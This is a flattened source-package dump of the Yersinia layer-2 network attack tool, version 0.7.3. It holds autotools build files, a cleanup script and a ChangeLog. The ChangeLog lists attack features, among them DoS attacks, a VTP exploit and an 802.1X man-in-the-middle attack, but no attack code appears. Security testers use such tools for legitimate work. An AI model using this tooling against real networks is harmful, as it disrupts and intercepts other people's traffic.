_AM_SUBST_NOTMAKE. AC_DEFUN([AM_SUBST_NOTMAKE], [_AM_SUBST_NOTMAKE($@)]) # Check how to create a tarball. -*- Autoconf -*- # Copyright (C) 2004, 2005, 2012 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 2 # _AM_PROG_TAR(FORMAT) # -------------------- # Check how to create a tarball in format FORMAT. # FORMAT should be one of `v7', `ustar', or `pax'. # # Substitute a variable $(am__tar) that is a command # writing to stdout a FORMAT-tarball containing the directory # $tardir. # tardir=directory && $(am__tar) > result.tar # # Substitute a variable $(am__untar) that extract such # a tarball read from stdin. # $(am__untar) < result.tar AC_DEFUN([_AM_PROG_TAR], [# Always define AMTAR for backward compatibility. Yes, it's still used # in the wild :-( We should find a proper way to deprecate it ... AC_SUBST([AMTAR], ['$${TAR-tar}']) m4_if([$1], [v7], [am__tar='$${TAR-tar} chof - "$$tardir"' am__untar='$${TAR-tar} xf -'], [m4_case([$1], [ustar],, [pax],, [m4_fatal([Unknown tar format])]) AC_MSG_CHECKING([how to create a $1 tar archive]) # Loop over all known methods to create a tar archive until one works. _am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' _am_tools=${am_cv_prog_tar_$1-$_am_tools} # Do not fold the above two line into one, because Tru64 sh and # Solaris sh will not grok spaces in the rhs of `-'. for _am_tool in $_am_tools do case $_am_tool in gnutar) for _am_tar in tar gnutar gtar; do AM_RUN_LOG([$_am_tar --version]) && break done am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' am__untar="$_am_tar -xf -" ;; plaintar) # Must skip GNU tar: if it does not support --format= it doesn't create # ustar tarball either. (tar --version) >/dev/null 2>&1 && continue am__tar='tar chf - "$$tardir"' am__tar_='tar chf - "$tardir"' am__untar='tar xf -' ;; pax) am__tar='pax -L -x $1 -w "$$tardir"' am__tar_='pax -L -x $1 -w "$tardir"' am__untar='pax -r' ;; cpio) am__tar='find "$$tardir" -print | cpio -o -H $1 -L' am__tar_='find "$tardir" -print | cpio -o -H $1 -L' am__untar='cpio -i -H $1 -d' ;; none) am__tar=false am__tar_=false am__untar=false ;; esac # If the value was cached, stop now. We just wanted to have am__tar # and am__untar set. test -n "${am_cv_prog_tar_$1}" && break # tar/untar a dummy directory, and stop if the command works rm -rf conftest.dir mkdir conftest.dir echo GrepMe > conftest.dir/file AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) rm -rf conftest.dir if test -s conftest.tar; then AM_RUN_LOG([$am__untar /dev/null 2>&1 && break fi done rm -rf conftest.dir AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) AC_MSG_RESULT([$am_cv_prog_tar_$1])]) AC_SUBST([am__tar]) AC_SUBST([am__untar]) ]) # _AM_PROG_TAR m4_include([acinclude.m4]) yersinia-0.7.3/borra0000755000175000017500000000040412234207266012203 0ustar nknk#!/bin/sh rm -f *~ configure config.cache config.log config.h config.h.in src/config.h src/config.h.in rm -f config.status Makefile.in Makefile src/Makefile src/Makefile.in rm -rf autom4te.cache src/*.tar src/*.tar.gz src/*.tar.Z src/*.o src/yersinia src/*~ yersinia-0.7.3/ChangeLog0000644000175000017500000001741512234207266012734 0ustar nknk$Id: ChangeLog 46 2007-05-08 09:13:30Z slay $ CHANGES for Yersinia ==================== 2013/08/21 ---------- - Version 0.7.3 - Fixed our pretty big issue with network interfacces under Linux. :) - Fixed pcap_compile error. - Refactoring a little bit of interfaces.c 2007/05/01 ---------- - Version 0.7.2 - Fixed coredump on ncurses_i_ifaces_screen(). - Removed 'min' and 'max' members from all the structures. 2007/04/27 ---------- - Added new protocol: MPLS. Rudimentary approach... :) 2007/02/08 ---------- - Version 0.7.1 - Now it works in MacOSX 10.4 and perhaps in other BSD (BPF support) 2007/01/25 ---------- - Added VTP exploit 2006/03/23 ---------- - Forbidden launching attacks that need parameters from command line interface. - Better 802.1X support. - Better VTP printable data. - Ncurses fixes 2006/03/22 ---------- - We've got a new domain, www.yersinia.net :) - Removed get_info protocol function. 2006/03/15 ---------- - Removed update_data from protocols. 2006/03/14 ---------- - Fixed ncurses show_info window if no protocol packets. - Added alphabetical order for CLI. Yahooooo!! 2006/03/10 ---------- - Added 802.1X simple MitM attack. :) 2006/03/09 ---------- - Pre-pre-pre-pre-liminary release of 802.1X. :) - Fixed 802.1Q problems with ncurses. 2006/02/17 ---------- - Fixed configure bugs and better compilation for --disable-admin option. :) - Updated man page (not finished yet). - Fixed STP error when using RSTP. 2006/02/16 ---------- - Fixed *big* race condition on Solaris due to the use of nonsafe multithreading calls. Yaaaahooo!!. :) 2006/02/09 ---------- - Now it works again in OpenBSD (don't ignore your parents) - Fixed lots of bugs compiling on Solaris platform. - Added minimal protocol stats for the CLI. 2006/02/05 ---------- - Fixed race condition on startup of tty and console threads. - Fixed bug that leads to coredump when not selecting interface with tty. 2006/01/11 ---------- - Fixed problem in xstp_com_other(). - Added if protocol.visible in some loops. - Removed ARP protocol from yersinia.conf. 2005/12/30 ---------- - Added default values on startup just to avoid sending packets with bad values like MAC addresses filled with zeroes and so on... - Fixed bad display showing the protocol params in the CLI. - Initialize just the visible protocols on term_add_node(). - Fixed bug in ncurses protocol select screen ('g' key). - Added all the functions keys to change protocol mode in ncurses interface. - Removed nonvisible protocols with the ncurses function keys. - Take into account a 0 bytes filename when pressing 'w' in ncurses. - Removed the ncurses '!' option (not useful and broke the design). 2005/12/25 ---------- - Added a new function to each protocol: protocol_end(struct term_node *). Called when destroying the node. 2005/12/22 ---------- - Fixed bug in interfaces_get_last. - Changed intefaces_add() to interfaces_enable(). - Changed intefaces_del() to interfaces_disable(). - Removed global mutex_int and created new mutex field for list_t. - Normalized file names. 2005/12/21 ---------- - Changed the interfaces list from static to a dynamic one. Now you can have as many interfaces as you wish! 2005/12/16 ---------- - Ncurses split in three different files like GTK - New files for dynamic lists implementation 2005/11/16 ---------- - New CLI design!! My friend, we have TAB support...Yahoooo!! :) - Fixed 3 annoying bugs on attack_kill_th :) 2005/11/08 ---------- - Removed getopt from distribution (no longer needed). 2005/11/04 ---------- - Added specific filter param for protocol in struct commands_param. - Added xstp and cdp specific filter functions for params. 2005/11/03 ---------- - First try for making an 'abstract' command line parser for any protocol. 2005/11/02 ---------- - Moved attack_filter_param to parser_filter_param 2005/11/01 ---------- - Fixed bad length on vtp CLI struct, dtp CLI struct, hsrp CLI struct and xstp CLI struct. - Updated the maximum CLI command length from 32 to 48 bytes. - Added keeping care of the 'active' protocols on interfaces engine (not really useful at the moment but it must be done soon or later). 2005/10/31 ---------- - Added 'sh protocol params' CLI command. 2005/10/30 ---------- - Added 'visible' field to protocols struct. - New dynamic design for some CLI commands (not finished). Now the protocols list in some CLI commands is fetched from the global protocols struct. :) - Fixed bug on run attack CLI command. 2005/10/27 ---------- - Added new design for DHCP CLI command 'set' (big change, arghhhh). :) - Added new design for STP CLI command 'set' (big change, arghhhh). :) 2005/10/26 ---------- - Fixed FIELD_BYTES on attack_filter_param (oh my god!). - Fixed dtp_dom_len not using the real domain len on dtp.c - Fixed vtp_dom_len not using the real domain len on vtp.c - Added new design for DTP CLI command 'set' (big change, arghhhh). :) - Added new design for VTP CLI command 'set' (big change, arghhhh). :) - Added new design for 802.1Q CLI command 'set' (big change, arghhhh). :) - Added new design for HSRP CLI command 'set' (big change, arghhhh). :) - Added new design for CDP CLI command 'set' (big change, arghhhh). :) - Fixed data alignment when using FIELD_DEC or FIELD_HEX data type on attack_filter_param. 2005/10/20 ---------- - Fixed src/Makefile.am for compiling. :) 2005/10/10 ---------- - Initial GTK interface 2005/09/29 ---------- - Fixed OpenBSD compile bugs and warnings in ncurses interface - Fixed annoying bug on hsrp that can lead to hsrp failures. 2005/09/23 ---------- - Added the daemon port to the configuration file. - Minor bugfixes. - Solved CDP annoying bug. - Solved the infamous interfaces initial bug. Thanks to Andrej Frank for pointing out this (added to the THANKS file). - Fixed ncurses warning if terminal is less than 80x25. 2005/09/16 ---------- - Version 0.5.6 2005/09/12 ---------- - Added --with-libnet-includes and --with-pcap-includes to the configure script. - Added Darwin OS support in configure script 2005/08/24 ---------- - Fixed a bug when using more than 1 command line argument - Added support for IPv4 filtering for the network daemon in the configuration file, now we support expressions with '-', '*' and CIDR. :) (See the yersinia.conf file). - Added Enigma Obfuscate to the THANKS file as a patch submitter due to his Mac OSX patch (thanks). 2005/08/07 ---------- - Fixed a bug when recognizing ISL packets - Version 0.5.5.1 2005/08/02 ---------- - Version 0.5.5 2005/07/28 ---------- - Fixed gcc 4 warnings 2005/06/15 ---------- - Fixed lots of windows errors when using 80x25 terminals in ncurses mode. 2005/06/09 ---------- - Added the user, password and enable password for the daemon mode in the configuration file. 2005/06/06 ---------- - Solved interfaces thread taking 100% of CPU amount. Thanks to Sergi Alvarez for pointing out this. 2005/05/26 ---------- - Removed F1-F10 option on ncurses help screen. 2005/05/24 ---------- - Released 0.5.4 version. 2005/05/24 ---------- - Added 'g' option (for switching among modes, useful if you run a window manager that manages F1, F2 ... (like ion3!!) 2005/05/18 ---------- - Fixed annoying deadlock with tty terminal and uptime thread. - Fixed bad man page examples. Thanks to Andrew Vladimirov for pointing out this. 2005/04/20 ---------- - Fixed annoying memory leak due to thread design. Thanks to Alejandro Sanchez for pointing out this. - Fixed possible bug in term_delete_node - Fixed htonl/ntohl issues on hsrp_send_raw. Thanks to Daniel Solis for pointing out this. 2004/02/06 ---------- Changed name from STomP to Yersinia. Moved attack_* to attack_stp_*. 0.3.0 2003/01/15 ----- Thread support 0.2.0 ----- Two DoS attacks and one non DoS implemented Support for multiple interfaces 0.1.0 ----- Initial Release (alphaaaaaaaaaa) yersinia-0.7.3/Makefile.am0000644000175000017500000000021712234207266013206 0ustar nknk# $Id: Makefile.am 2 2006-04-03 21:04:25Z tomac $ SUBDIRS = src man_MANS = yersinia.8 EXTRA_DIST = $(man_MANS) FAQ THANKS src/yersinia.conf yersinia-0.7.3/configure.in0000644000175000017500000005616212234207266013475 0ustar nknkdnl $Id: configure.in 43 2007-04-27 11:07:17Z slay $ dnl dnl Process this file with autoconf to produce a configure script. dnl AC_INIT(yersinia, 0.7.3, yersinia@yersinia.net) AC_CONFIG_SRCDIR([src/yersinia.c]) AM_CONFIG_HEADER(src/config.h) AC_CANONICAL_TARGET([]) AM_INIT_AUTOMAKE(AC_PACKAGE_NAME, AC_PACKAGE_VERSION) AC_PROG_CC if test -n "$GCC"; then CFLAGS="-O3 -Wall -g" else AC_MSG_WARN(Ouch!! Only gcc is supported...) AC_MSG_ERROR(...you're on your own.) fi AC_HEADER_STDC([]) AC_SUBST(CFLAGS) AC_SUBST(CPPFLAGS) AC_SUBST(LDFLAGS) AC_PROG_INSTALL AC_PATH_PROG(MAKEDEPEND, makedepend) AC_LBL_UNALIGNED_ACCESS dnl dnl Check for libraries dnl AC_CHECK_LIB(socket,main) AC_CHECK_LIB(resolv,main) AC_CHECK_LIB(nsl,main) AC_CHECK_LIB(rt,main) dnl dnl libpcap must be at least 0.8.x dnl AC_MSG_CHECKING(for a complete set of pcap headers) possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/pcap \ /usr/local/include /usr/local/include/pcap \ /usr/share/include /usr/share/include/pcap" AC_ARG_WITH(pcap-includes, [ --with-pcap-includes specify the pcap include directory], [PCAP_DIR=$withval], [PCAP_DIR=$possible_dirs]) pcap_dir="" for dir in $PCAP_DIR ; do if test -d $dir -a -r "$dir/pcap.h" ; then if test -n "$pcap_dir" -a "$pcap_dir" != "$dir"; then echo echo; echo more than one set found in: echo $pcap_dir echo $dir echo; echo please wipe out all unused pcap installations exit else pcap_dir="$dir" fi fi done if test -z "$pcap_dir" ; then echo no; echo !!! couldn\'t find a complete set of pcap headers exit else echo found $pcap_dir PCAP_INCLUDE="-I$pcap_dir" PCAP_LINK="-L`dirname $pcap_dir`/lib" AC_SUBST(PCAP_INCLUDE) AC_SUBST(PCAP_LINK) fi if test "$PCAP_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $PCAP_LINK" fi if test "$PCAP_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $PCAP_INCLUDE" fi AC_CHECK_LIB(pcap, pcap_lib_version, have_libpcap=yes, have_libpcap=no) if test $have_libpcap = no; then AC_MSG_WARN(Ouch!! Libpcap (at least 0.8.x) library is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi AH_TEMPLATE([HAVE_PCAP_DUMP_FLUSH], [pcap_dump_flush]) AC_CHECK_LIB(pcap, pcap_dump_flush,AC_DEFINE(HAVE_PCAP_DUMP_FLUSH)) dnl Check for BSD's BPF disable_bpf=no have_bpf=no AC_MSG_CHECKING(for BPF device sending support) AC_TRY_RUN([ #include #include #include #include int main(int argc, char *argv[]) { int fd; fd = open("/dev/bpf0", O_RDONLY, 0); /* if we opened it, we're good */ if (fd > 1) exit(0); /* if we got EBUSY or permission denied it exists, so we're good */ if (fd < 0 && (errno == EBUSY || errno == 13)) exit(0); /* else suck, no good */ exit(-1); }], [ if test $disable_bpf = no ; then AC_DEFINE([HAVE_BPF], [1], [Do we have BPF device support?]) AC_MSG_RESULT(yes) have_bpf=yes else AC_MSG_RESULT(no) fi ]) dnl dnl dnl libnet must be at least 1.1.2 dnl dnl AC_MSG_CHECKING(for a complete set of libnet headers) possible_dirs="`eval echo -n ${includedir}` \ /usr/include /usr/include/libnet \ /usr/local/include /usr/local/include/libnet \ /usr/share/include /usr/share/include/libnet" possible_libnet_config_dirs="/usr /usr/local /opt" AC_ARG_WITH(libnet-includes, [ --with-libnet-includes specify the libnet include directory], [LIBNET_DIR=$withval LIBNET_CONFIG_DIR=$withval], [LIBNET_DIR=$possible_dirs LIBNET_CONFIG_DIR=$possible_libnet_config_dirs]) libnet_dir="" for dir in $LIBNET_DIR ; do if test -d $dir -a -r "$dir/libnet.h" ; then if test -n "$libnet_dir" -a "$libnet_dir" != "$dir"; then echo echo; echo more than one set found in: echo $libnet_dir echo $dir echo; echo please wipe out all unused libnet installations exit else libnet_dir="$dir" fi fi done for dir in $LIBNET_CONFIG_DIR ; do if test -d $dir -a -r "$dir/bin/libnet-config" ; then libnet_config_dir="$dir/bin" fi done if test -z "$libnet_dir" ; then echo no; echo !!! couldn\'t find a complete set of libnet headers exit else echo found $libnet_dir dnl libnet headers are usually in /usr/include/libnet, so we need a .. LIBNET_INCLUDE="-I$libnet_dir" LIBNET_LINK="-L`dirname $libnet_dir`/lib" LIBNET_CONFIG="$libnet_config_dir/libnet-config" AC_SUBST(LIBNET_INCLUDE) AC_SUBST(LIBNET_LINK) AC_SUBST(LIBNET_CONFIG) fi if test "$LIBNET_LINK" != "-L/usr/lib" ; then LIBS="$LIBS $LIBNET_LINK" fi if test "$LIBNET_INCLUDE" != "-I/usr/include" ; then CFLAGS="$CFLAGS $LIBNET_INCLUDE" fi AC_CHECK_LIB(net, libnet_build_stp_conf, have_libnet=yes, have_libnet=no) if test $have_libnet = no; then AC_MSG_WARN(Ouch!! Libnet library 1.1.2 is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi dnl AC_CHECK_HEADERS(libnet.h, have_libnet=yes,have_libnet=no) dnl if test $have_libnet = no; then dnl AC_MSG_WARN(Ouch!! You need to install the libnet.h file in order to compile Yersinia!!...) dnl AC_MSG_ERROR(...i'm sure you'll take the right decision.) dnl fi AC_MSG_CHECKING(if libnet is at least version 1.1.2) AC_TRY_RUN([ #include #include #define HOPE_MAJOR 1 #define HOPE_MEDIUM 1 #define HOPE_MINOR 2 int main() { unsigned int major,medium,minor,current, desired; desired = HOPE_MAJOR*10000 + HOPE_MEDIUM*100 + HOPE_MINOR; sscanf( LIBNET_VERSION, "%d.%d.%d", &major, &medium, &minor); current = major*10000 + medium*100 + minor; if ( current >= desired ) exit(0); exit(1); }], [AC_MSG_RESULT(yes); have_libnet=yes], [AC_MSG_RESULT(no); have_libnet=no], [AC_MSG_RESULT(no); have_libnet=no]) if test $have_libnet = no; then AC_MSG_WARN(Ouch!! At least Libnet library version 1.1.2 is needed in order to compile Yersinia!!...) AC_MSG_ERROR(...i'm sure you'll take the right decision.) fi dnl dnl Check headers dnl AC_CHECK_HEADERS(sys/sockio.h sys/ioctl.h net/if.h,,, [[ #if HAVE_SYS_SOCKIO_H #include #endif ]]) AC_CHECK_HEADERS(bstring.h sys/time.h sys/param.h netinet/in_systm.h inttypes.h) AC_CHECK_HEADERS(netinet/in_system.h sys/wait.h) AC_HEADER_TIME AC_C_BIGENDIAN dnl dnl sockaddr sa_len? dnl AH_TEMPLATE([HAVE_SOCKADDR_SA_LEN], [have sockaddr_sa_len]) AC_MSG_CHECKING([if struct sockaddr has sa_len field]) AC_TRY_COMPILE([#include #include ], [struct sockaddr sa; sa.sa_len;], [AC_MSG_RESULT(yes); AC_DEFINE(HAVE_SOCKADDR_SA_LEN)], [AC_MSG_RESULT(no);] ) AH_TEMPLATE([PTHREAD_NEED_TESTCANCEL], [pthread need testcancel]) AH_TEMPLATE([STRANGE_BSD_BYTE], [strange bsd byte]) AH_TEMPLATE([HPUX], [HP-UX System]) AH_TEMPLATE([DARWIN], [Darwin System]) AH_TEMPLATE([OPENBSD], [OpenBSD System]) AH_TEMPLATE([NETBSD], [NetBSD System]) AH_TEMPLATE([FREEBSD], [FreeBSD System]) AH_TEMPLATE([SOLARIS_251], [Solaris 2.51 System]) AH_TEMPLATE([SOLARIS_26], [Solaris 2.6 System]) AH_TEMPLATE([SOLARIS_27], [Solaris 2.7 System]) AH_TEMPLATE([SOLARIS_28], [Solaris 2.8 System]) AH_TEMPLATE([SOLARIS_29], [Solaris 2.9 System]) AH_TEMPLATE([SOLARIS], [Solaris System]) AH_TEMPLATE([LINUX], [Linux System]) AH_TEMPLATE([LINUX_20], [Linux 2.0 System]) AH_TEMPLATE([LINUX_21], [Linux 2.1 System]) AH_TEMPLATE([LINUX_22], [Linux 2.2 System]) AH_TEMPLATE([LINUX_23], [Linux 2.3 System]) AH_TEMPLATE([LINUX_24], [Linux 2.4 System]) AH_TEMPLATE([LINUX_25], [Linux 2.5 System]) AH_TEMPLATE([LINUX_26], [Linux 2.6 System]) AH_TEMPLATE([NEED_USLEEP], [System need DoS timeout]) case "$target_os" in *linux*) AC_DEFINE(LINUX) AC_DEFINE(PTHREAD_NEED_TESTCANCEL) case "`uname -r`" in 2.6*) AC_DEFINE(LINUX_26) ;; 2.5*) AC_DEFINE(LINUX_25) ;; 2.4*) AC_DEFINE(LINUX_24) ;; 2.3*) AC_DEFINE(LINUX_23) ;; 2.2*) AC_DEFINE(LINUX_22) ;; 2.1*) AC_DEFINE(LINUX_21) ;; 2.0*) AC_DEFINE(LINUX_20) ;; esac ;; *solaris*) AC_DEFINE(SOLARIS) case "`uname -r`" in 5.5.1) AC_DEFINE(SOLARIS_251) ;; 5.6*) AC_DEFINE(SOLARIS_26) ;; 5.7*) AC_DEFINE(SOLARIS_27) ;; 5.8*) AC_DEFINE(SOLARIS_27) ;; 5.9*) AC_DEFINE(SOLARIS_27) ;; esac ;; *freebsd*) AC_DEFINE(FREEBSD) AC_DEFINE(STRANGE_BSD_BYTE) AC_DEFINE(NEED_USLEEP) ;; *netbsd*) AC_DEFINE(NETBSD) AC_DEFINE(STRANGE_BSD_BYTE) AC_DEFINE(NEED_USLEEP) ;; *openbsd*) AC_DEFINE(OPENBSD) AC_DEFINE(NEED_USLEEP) case "`uname -r`" in 1.*) AC_DEFINE(STRANGE_BSD_BYTE) ;; 2.0*) AC_DEFINE(STRANGE_BSD_BYTE) ;; 2.*) ;; *) AC_DEFINE(STRANGE_BSD_BYTE) ;; esac ;; *hpux*) AC_DEFINE(HPUX) ;; *darwin*) AC_DEFINE(DARWIN) ;; *) AC_MSG_WARN(it seems that your OS is not supported) AC_MSG_WARN(and this may cause troubles) AC_MSG_WARN(please send bugs and diffs to yersinia@iwasnot.org) ;; esac dnl dnl Check for library functions dnl AC_CHECK_FUNCS(memcpy memset pthread_setconcurrency strerror strtok_r rand_r) AC_CHECK_FUNCS(calloc_r malloc_r free_r ctime_r nanosleep) AC_CHECK_FUNCS(strerror_r, have_strerror_r=yes,have_strerror_r=no) if test $have_strerror_r = yes; then AC_MSG_CHECKING(if strerror_r is on glibc version >= 2.0) AC_TRY_RUN([ #include #include int main() { #if defined(__GLIBC__) && __GLIBC__ >= 2 && __GLIBC_MINOR__ >= 0 exit(0); #else exit(1); #endif }], [AC_MSG_RESULT(yes); have_glibc=yes], [AC_MSG_RESULT(no); have_glibc=no], [AC_MSG_RESULT(no); have_glibc=no]) AH_TEMPLATE([HAVE_GLIBC_STRERROR_R], [have glibc strerror_r]) if test $have_glibc = yes; then AC_DEFINE(HAVE_GLIBC_STRERROR_R) fi fi dnl dnl Check for pthreads dnl AC_CHECK_HEADERS(semaphore.h) AC_CHECK_HEADERS(sched.h sys/sched.h) AC_CHECK_HEADERS(pthread.h) AC_CHECK_LIB(pthread, pthread_create, , [ AC_CHECK_LIB(pthreads, pthread_create, , [ AC_CHECK_LIB(c_r, pthread_create) ]) ]) AC_MSG_CHECKING([for pthreads support]) if test ".${ac_cv_header_pthread_h}" != ".yes" || (test ".${ac_cv_lib_pthread_pthread_create}" != ".yes" && test ".${ac_cv_lib_pthreads_pthread_create}" != ".yes" && test ".${ac_cv_lib_c_r_pthread_create}" != ".yes"); then AC_MSG_RESULT(error) AC_MSG_WARN(error) AC_MSG_WARN(***********************************************) AC_MSG_WARN(* PTHREADS is NOT available on your system !! *) AC_MSG_WARN(***********************************************) else AC_MSG_RESULT(ok) fi dnl dnl Check for remote admin dnl AC_ARG_ENABLE(admin, [ --disable-admin disable remote admin interface],,enable_admin=true) AH_TEMPLATE([HAVE_REMOTE_ADMIN], [remote admin support]) AM_CONDITIONAL(HAVE_REMOTE_ADMIN, test $enable_admin = true) if test "$enable_admin" = "true"; then AC_DEFINE(HAVE_REMOTE_ADMIN) fi dnl Curses detection: Munged from Midnight Commander's configure.in dnl dnl What it does: dnl ============= dnl dnl - Determine which version of curses is installed on your system dnl and set the -I/-L/-l compiler entries and add a few preprocessor dnl symbols dnl - Do an AC_SUBST on the CURSES_INCLUDEDIR and CURSES_LIBS so that dnl @CURSES_INCLUDEDIR@ and @CURSES_LIBS@ will be available in dnl Makefile.in's dnl - Modify the following configure variables (these are the only dnl curses.m4 variables you can access from within configure.in) dnl CURSES_INCLUDEDIR - contains -I's and possibly -DRENAMED_CURSES if dnl an ncurses.h that's been renamed to curses.h dnl is found. dnl CURSES_LIBS - sets -L and -l's appropriately dnl CFLAGS - if --with-sco, add -D_SVID3 dnl has_curses - exports result of tests to rest of configure dnl dnl Usage: dnl ====== dnl 1) Add lines indicated below to acconfig.h dnl 2) call AC_CHECK_CURSES after AC_PROG_CC in your configure.in dnl 3) Instead of #include you should use the following to dnl properly locate ncurses or curses header file dnl dnl #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) dnl #include dnl #else dnl #include dnl #endif dnl dnl 4) Make sure to add @CURSES_INCLUDEDIR@ to your preprocessor flags dnl 5) Make sure to add @CURSES_LIBS@ to your linker flags or LIBS dnl dnl Notes with automake: dnl - call AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true) from dnl configure.in dnl - your Makefile.am can look something like this dnl ----------------------------------------------- dnl INCLUDES= blah blah blah $(CURSES_INCLUDEDIR) dnl if HAS_CURSES dnl CURSES_TARGETS=name_of_curses_prog dnl endif dnl bin_PROGRAMS = other_programs $(CURSES_TARGETS) dnl other_programs_SOURCES = blah blah blah dnl name_of_curses_prog_SOURCES = blah blah blah dnl other_programs_LDADD = blah dnl name_of_curses_prog_LDADD = blah $(CURSES_LIBS) dnl ----------------------------------------------- dnl dnl dnl The following lines should be added to acconfig.h: dnl ================================================== dnl dnl /*=== Curses version detection defines ===*/ dnl /* Found some version of curses that we're going to use */ dnl #undef HAS_CURSES dnl dnl /* Use SunOS SysV curses? */ dnl #undef USE_SUNOS_CURSES dnl dnl /* Use old BSD curses - not used right now */ dnl #undef USE_BSD_CURSES dnl dnl /* Use SystemV curses? */ dnl #undef USE_SYSV_CURSES dnl dnl /* Use Ncurses? */ dnl #undef USE_NCURSES dnl dnl /* If you Curses does not have color define this one */ dnl #undef NO_COLOR_CURSES dnl dnl /* Define if you want to turn on SCO-specific code */ dnl #undef SCO_FLAVOR dnl dnl /* Set to reflect version of ncurses * dnl * 0 = version 1.* dnl * 1 = version 1.9.9g dnl * 2 = version 4.0/4.1 */ dnl #undef NCURSES_970530 dnl dnl /*=== End new stuff for acconfig.h ===*/ dnl AH_TEMPLATE([HAS_CURSES], [curses supported]) AH_TEMPLATE([USE_SUNOS_CURSES], [SunOS curses]) AH_TEMPLATE([USE_BSD_CURSES], [BSD curses]) AH_TEMPLATE([USE_SYSV_CURSES], [SysV curses]) AH_TEMPLATE([USE_NCURSES], [ncurses]) AH_TEMPLATE([NO_COLOR_CURSES], [no color supported]) AH_TEMPLATE([SCO_FLAVOR], [SCO code]) AH_TEMPLATE([NCURSES_970530], [ncurses version]) AC_DEFUN([AC_CHECK_CURSES],[ search_ncurses=true screen_manager="" has_curses=false CFLAGS=${CFLAGS--O} AC_SUBST(CURSES_LIBS) AC_SUBST(CURSES_INCLUDEDIR) AC_ARG_WITH(sco, [ --with-sco Use this to turn on SCO-specific code],[ if test x$withval = xyes; then AC_DEFINE(SCO_FLAVOR) CFLAGS="$CFLAGS -D_SVID3" fi ]) AC_ARG_WITH(sunos-curses, [ --with-sunos-curses Used to force SunOS 4.x curses],[ if test x$withval = xyes; then AC_USE_SUNOS_CURSES fi ]) AC_ARG_WITH(osf1-curses, [ --with-osf1-curses Used to force OSF/1 curses],[ if test x$withval = xyes; then AC_USE_OSF1_CURSES fi ]) AC_ARG_WITH(vcurses, [ --with-vcurses[=incdir] Used to force SysV curses], if test x$withval != xyes; then CURSES_INCLUDEDIR="-I$withval" fi AC_USE_SYSV_CURSES ) AC_ARG_WITH(ncurses, [ --with-ncurses[=dir] Compile with ncurses/locate base dir], if test x$withval = xno ; then search_ncurses=false elif test x$withval != xyes ; then CURSES_LIBS="$LIBS -L$withval/lib -lncurses" CURSES_INCLUDEDIR="-I$withval/include" search_ncurses=false screen_manager="ncurses" AC_DEFINE(USE_NCURSES) AC_DEFINE(HAS_CURSES) has_curses=true fi ) if $search_ncurses then AC_SEARCH_NCURSES() fi ]) AC_DEFUN([AC_USE_SUNOS_CURSES], [ search_ncurses=false screen_manager="SunOS 4.x /usr/5include curses" AC_MSG_RESULT(Using SunOS 4.x /usr/5include curses) AC_DEFINE(USE_SUNOS_CURSES) AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(NO_COLOR_CURSES) AC_DEFINE(USE_SYSV_CURSES) CURSES_INCLUDEDIR="-I/usr/5include" CURSES_LIBS="/usr/5lib/libcurses.a /usr/5lib/libtermcap.a" AC_MSG_RESULT(Please note that some screen refreshs may fail) ]) AC_DEFUN([AC_USE_OSF1_CURSES], [ AC_MSG_RESULT(Using OSF1 curses) search_ncurses=false screen_manager="OSF1 curses" AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(NO_COLOR_CURSES) AC_DEFINE(USE_SYSV_CURSES) CURSES_LIBS="-lcurses" ]) AC_DEFUN([AC_USE_SYSV_CURSES], [ AC_MSG_RESULT(Using SysV curses) AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_SYSV_CURSES) search_ncurses=false screen_manager="SysV/curses" CURSES_LIBS="-lcurses" ]) dnl AC_ARG_WITH(bsd-curses, dnl [--with-bsd-curses Used to compile with bsd curses, not very fancy], dnl search_ncurses=false dnl screen_manager="Ultrix/cursesX" dnl if test $system = ULTRIX dnl then dnl THIS_CURSES=cursesX dnl else dnl THIS_CURSES=curses dnl fi dnl dnl CURSES_LIBS="-l$THIS_CURSES -ltermcap" dnl AC_DEFINE(HAS_CURSES) dnl has_curses=true dnl AC_DEFINE(USE_BSD_CURSES) dnl AC_MSG_RESULT(Please note that some screen refreshs may fail) dnl AC_WARN(Use of the bsdcurses extension has some) dnl AC_WARN(display/input problems.) dnl AC_WARN(Reconsider using xcurses) dnl) dnl dnl Parameters: directory filename cureses_LIBS curses_INCLUDEDIR nicename dnl AC_DEFUN([AC_NCURSES], [ if $search_ncurses then if test -f $1/$2 then AC_MSG_RESULT(Found ncurses on $1/$2) CURSES_LIBS="$3" CURSES_INCLUDEDIR="$4" search_ncurses=false screen_manager=$5 AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_NCURSES) fi fi ]) AC_DEFUN([AC_SEARCH_NCURSES], [ AC_CHECKING("location of ncurses.h file") AC_NCURSES(/usr/include, ncurses.h, -lncurses,, "ncurses on /usr/include") AC_NCURSES(/usr/include/ncurses, ncurses.h, -lncurses, -I/usr/include/ncurses, "ncurses on /usr/include/ncurses") AC_NCURSES(/usr/local/include, ncurses.h, -L/usr/local/lib -lncurses, -I/usr/local/include, "ncurses on /usr/local") AC_NCURSES(/usr/local/include/ncurses, ncurses.h, -L/usr/local/lib -L/usr/local/lib/ncurses -lncurses, -I/usr/local/include/ncurses, "ncurses on /usr/local/include/ncurses") AC_NCURSES(/usr/local/include/ncurses, curses.h, -L/usr/local/lib -lncurses, -I/usr/local/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/local/.../ncurses") AC_NCURSES(/usr/include/ncurses, curses.h, -lncurses, -I/usr/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/include/ncurses") dnl 